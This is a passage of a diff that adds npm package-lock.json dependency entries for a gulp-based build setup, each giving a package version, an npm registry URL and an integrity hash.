+ "integrity": "sha512-aUH6ElPnMGon2/YkxRIigV32MOpTVcoXQ1Oo8aYn40s+sJ3j+0gFZsT8HKDcxNy7Fi9zuquWtGaGAahOdv5p/g==",
+ "dev": true
+ },
+ "plugin-error": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-0.1.2.tgz",
+ "integrity": "sha512-WzZHcm4+GO34sjFMxQMqZbsz3xiNEgonCskQ9v+IroMmYgk/tas8dG+Hr2D6IbRPybZ12oWpzE/w3cGJ6FJzOw==",
+ "dev": true,
+ "requires": {
+ "ansi-cyan": "^0.1.1",
+ "ansi-red": "^0.1.1",
+ "arr-diff": "^1.0.1",
+ "arr-union": "^2.0.1",
+ "extend-shallow": "^1.1.2"
+ }
+ },
+ "readable-stream": {
+ "version": "1.0.34",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
+ "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==",
+ "dev": true,
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.1",
+ "isarray": "0.0.1",
+ "string_decoder": "~0.10.x"
+ }
+ },
+ "string_decoder": {
+ "version": "0.10.31",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
+ "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
+ "dev": true
+ },
+ "through2": {
+ "version": "0.6.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz",
+ "integrity": "sha512-RkK/CCESdTKQZHdmKICijdKKsCRVHs5KsLZ6pACAmF/1GPUQhonHSXWNERctxEp7RmvjdNbZTL5z9V7nSCXKcg==",
+ "dev": true,
+ "requires": {
+ "readable-stream": ">=1.0.33-1 <1.1.0-0",
+ "xtend": ">=4.0.0 <4.1.0-0"
+ }
+ }
+ }
+ },
+ "gulp-load-plugins": {
+ "version": "2.0.7",
+ "resolved": "https://registry.npmjs.org/gulp-load-plugins/-/gulp-load-plugins-2.0.7.tgz",
+ "integrity": "sha512-/3nl/p7s9O03Yv6SSEqN2dXEbDE0+JpsKfJl6h/GgCLqqnkZT0bF+JWcz87HzcTBeh/MVzMosAJx4kLDTWrTNQ==",
+ "dev": true,
+ "requires": {
+ "array-unique": "^0.3.2",
+ "fancy-log": "^1.2.0",
+ "findup-sync": "^4.0.0",
+ "gulplog": "^1.0.0",
+ "has-gulplog": "^0.1.0",
+ "micromatch": "^4.0.2",
+ "resolve": "^1.17.0"
+ }
+ },
+ "gulp-merge-json": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/gulp-merge-json/-/gulp-merge-json-2.1.1.tgz",
+ "integrity": "sha512-VhvAlcf+dcCb94j/2yDPWxJ3X7x4P/Xwcrv1dhjYuRgvADwFJmaQwl4zbuq+GDZvzMacbVncWtEdsETpUSkhYw==",
+ "dev": true,
+ "requires": {
+ "json5": "^2.1.3",
+ "lodash.mergewith": "^4.6.1",
+ "plugin-error": "^1.0.1",
+ "through": "^2.3.8",
+ "vinyl": "^2.1.0"
+ }
+ },
+ "gulp-rename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/gulp-rename/-/gulp-rename-2.0.0.tgz",
+ "integrity": "sha512-97Vba4KBzbYmR5VBs9mWmK+HwIf5mj+/zioxfZhOKeXtx5ZjBk57KFlePf5nxq9QsTtFl0ejnHE3zTC9MHXqyQ==",
+ "dev": true
+ },
+ "gulp-sass": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/gulp-sass/-/gulp-sass-5.0.0.tgz",
+ "integrity": "sha512-J0aH0/2N4+2szGCeut0ktGHK0Wg8L9uWivuigrl7xv+nhxozBQRAKLrhnDDaTa3FeUWYtgT8w4RlgdhRy5v16w==",
+ "dev": true,
+ "requires": {
+ "chalk": "^4.1.1",
+ "lodash": "^4.17.20",
+ "plugin-error": "^1.0.1",
+ "replace-ext": "^2.0.0",
+ "strip-ansi": "^6.0.0",
+ "transfob": "^1.0.0",
+ "vinyl-sourcemaps-apply": "^0.2.1"
+ }
+ },
+ "gulp-zip": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/gulp-zip/-/gulp-zip-5.1.0.tgz",
+ "integrity": "sha512-XZr/y91IliK/SpR74g3TkZejGkGEmK7CSDjSghT1jXshgO+dFvpLIz9w9fpuwkew6i7k4F+G24TubNgq1ISzEw==",
+ "dev": true,
+ "requires": {
+ "get-stream": "^5.2.0",
+ "plugin-error": "^1.0.1",
+ "through2": "^3.0.1",
+ "vinyl": "^2.1.0",
+ "yazl": "^2.5.1"
+ }
+ },
+ "gulplog": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/gulplog/-/gulplog-1.0.0.tgz",
+ "integrity": "sha512-hm6N8nrm3Y08jXie48jsC55eCZz9mnb4OirAStEk2deqeyhXU3C1otDVh+ccttMuc1sBi6RX6ZJ720hs9RCvgw==",
+ "dev": true,
+ "requires": {
+ "glogg": "^1.0.0"
+ }
+ },
+ "has": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+ "dev": true,
+ "requires": {
+ "function-bind": "^1.1.1"
+ }
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "has-gulplog": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/has-gulplog/-/has-gulplog-0.1.0.tgz",
+ "integrity": "sha512-+F4GzLjwHNNDEAJW2DC1xXfEoPkRDmUdJ7CBYw4MpqtDwOnqdImJl7GWlpqx+Wko6//J8uKTnIe4wZSv7yCqmw==",
+ "dev": true,
+ "requires": {
+ "sparkles": "^1.0.0"
+ }
+ },
+ "has-property-descriptors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz",
+ "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==",
+ "dev": true,
+ "requires": {
+ "get-intrinsic": "^1.1.1"
+ }
+ },
+ "has-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz",
+ "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==",
+ "dev": true
+ },
+ "has-symbols": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+ "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+ "dev": true
+ },
+ "has-value": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
+ "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==",
+ "dev": true,
+ "requires": {
+ "get-value": "^2.0.6",
+ "has-values": "^1.0.0",
+ "isobject": "^3.0.0"
+ }
+ },
+ "has-values": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
+ "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^3.0.0",
+ "kind-of": "^4.0.0"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
+ "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "hasha": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz",
+ "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==",
+ "dev": true,
+ "requires": {
+ "is-stream": "^2.0.0",
+ "type-fest": "^0.8.0"
+ }
+ },
+ "he": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
+ "dev": true
+ },
+ "homedir-polyfill": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
+ "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+ "dev": true,
+ "requires": {
+ "parse-passwd": "^1.0.0"
+ }
+ },
+ "hosted-git-info": {
+ "version": "2.8.9",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
+ "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
+ "dev": true
+ },
+ "html-encoding-sniffer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz",
+ "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==",
+ "dev": true,
+ "requires": {
+ "whatwg-encoding": "^2.0.0"
+ }
+ },
+ "html-escaper": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
+ "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
+ "dev": true
+ },
+ "html-minifier": {
+ "version": "3.5.21",
+ "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz",
+ "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==",
+ "dev": true,
+ "requires": {
+ "camel-case": "3.0.x",
+ "clean-css": "4.2.x",
+ "commander": "2.17.x",
+ "he": "1.2.x",
+ "param-case": "2.1.x",
+ "relateurl": "0.2.x",
+ "uglify-js": "3.4.x"
+ },
+ "dependencies": {
+ "commander": {
+ "version": "2.17.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz",
+ "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==",
+ "dev": true
+ }
+ }
+ },
+ "http-proxy-agent": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
+ "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
+ "dev": true,
+ "requires": {
+ "@tootallnate/once": "2",
+ "agent-base": "6",
+ "debug": "4"
+ }
+ },
+ "https-proxy-agent": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+ "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+ "dev": true,
+ "requires": {
+ "agent-base": "6",
+ "debug": "4"
+ }
+ },
+ "iconv-lite": {
+ "version": "0.6.3",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+ "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+ "dev": true,
+ "requires": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ }
+ },
+ "ignore": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
+ "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==",
+ "dev": true
+ },
+ "import-fresh": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+ "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+ "dev": true,
+ "requires": {
+ "parent-module": "^1.0.0",
+ "resolve-from": "^4.0.0"
+ }
+ },
+ "imurmurhash": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+ "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+ "dev": true
+ },
+ "indent-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+ "dev": true
+ },
+ "inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "dev": true,
+ "requires": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "dev": true
+ },
+ "ini": {
+ "version": "1.3.8",
+ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+ "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
+ "dev": true
+ },
+ "interpret": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz",
+ "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==",
+ "dev": true
+ },
+ "invert-kv": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
+ "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==",
+ "dev": true
+ },
+ "ip-range-check": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/ip-range-check/-/ip-range-check-0.2.0.tgz",
+ "integrity": "sha512-oaM3l/3gHbLlt/tCWLvt0mj1qUaI+STuRFnUvARGCujK9vvU61+2JsDpmkMzR4VsJhuFXWWgeKKVnwwoFfzCqw==",
+ "requires": {
+ "ipaddr.js": "^1.0.1"
+ },
+ "dependencies": {
+ "ipaddr.js": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+ "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
+ }
+ }
+ },
+ "ipaddr.js": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz",
+ "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ=="
+ },
+ "is-absolute": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz",
+ "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==",
+ "dev": true,
+ "requires": {
+ "is-relative": "^1.0.0",
+ "is-windows": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+ "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^3.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "is-arrayish": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+ "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
+ "dev": true
+ },
+ "is-binary-path": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
+ "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==",
+ "dev": true,
+ "requires": {
+ "binary-extensions": "^1.0.0"
+ }
+ },
+ "is-buffer": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
+ "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==",
+ "dev": true
+ },
+ "is-core-module": {
+ "version": "2.12.1",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.1.tgz",
+ "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==",
+ "dev": true,
+ "requires": {
+ "has": "^1.0.3"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+ "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^3.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "is-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^0.1.6",
+ "is-data-descriptor": "^0.1.4",
+ "kind-of": "^5.0.0"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true
+ }
+ }
+ },
+ "is-extendable": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
+ "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
+ "dev": true
+ },
+ "is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "dev": true
+ },
+ "is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true
+ },
+ "is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dev": true,
+ "requires": {
+ "is-extglob": "^2.1.1"
+ }
+ },
+ "is-negated-glob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-negated-glob/-/is-negated-glob-1.0.0.tgz",
+ "integrity": "sha512-czXVVn/QEmgvej1f50BZ648vUI+em0xqMq2Sn+QncCLN4zj1UAxlT+kw/6ggQTOaZPd1HqKQGEqbpQVtJucWug==",
+ "dev": true
+ },
+ "is-number": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+ "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^3.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "is-path-cwd": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==",
+ "dev": true
+ },
+ "is-path-inside": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+ "dev": true
+ },
+ "is-plain-obj": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz",
+ "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==",
+ "dev": true
+ },
+ "is-plain-object": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
+ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
+ "dev": true,
+ "requires": {
+ "isobject": "^3.0.1"
+ }
+ },
+ "is-potential-custom-element-name": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+ "dev": true
+ },
+ "is-relative": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
+ "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
+ "dev": true,
+ "requires": {
+ "is-unc-path": "^1.0.0"
+ }
+ },
+ "is-stream": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+ "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+ "dev": true
+ },
+ "is-typedarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+ "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
+ "dev": true
+ },
+ "is-unc-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
+ "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
+ "dev": true,
+ "requires": {
+ "unc-path-regex": "^0.1.2"
+ }
+ },
+ "is-unicode-supported": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
+ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+ "dev": true
+ },
+ "is-utf8": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
+ "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==",
+ "dev": true
+ },
+ "is-valid-glob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz",
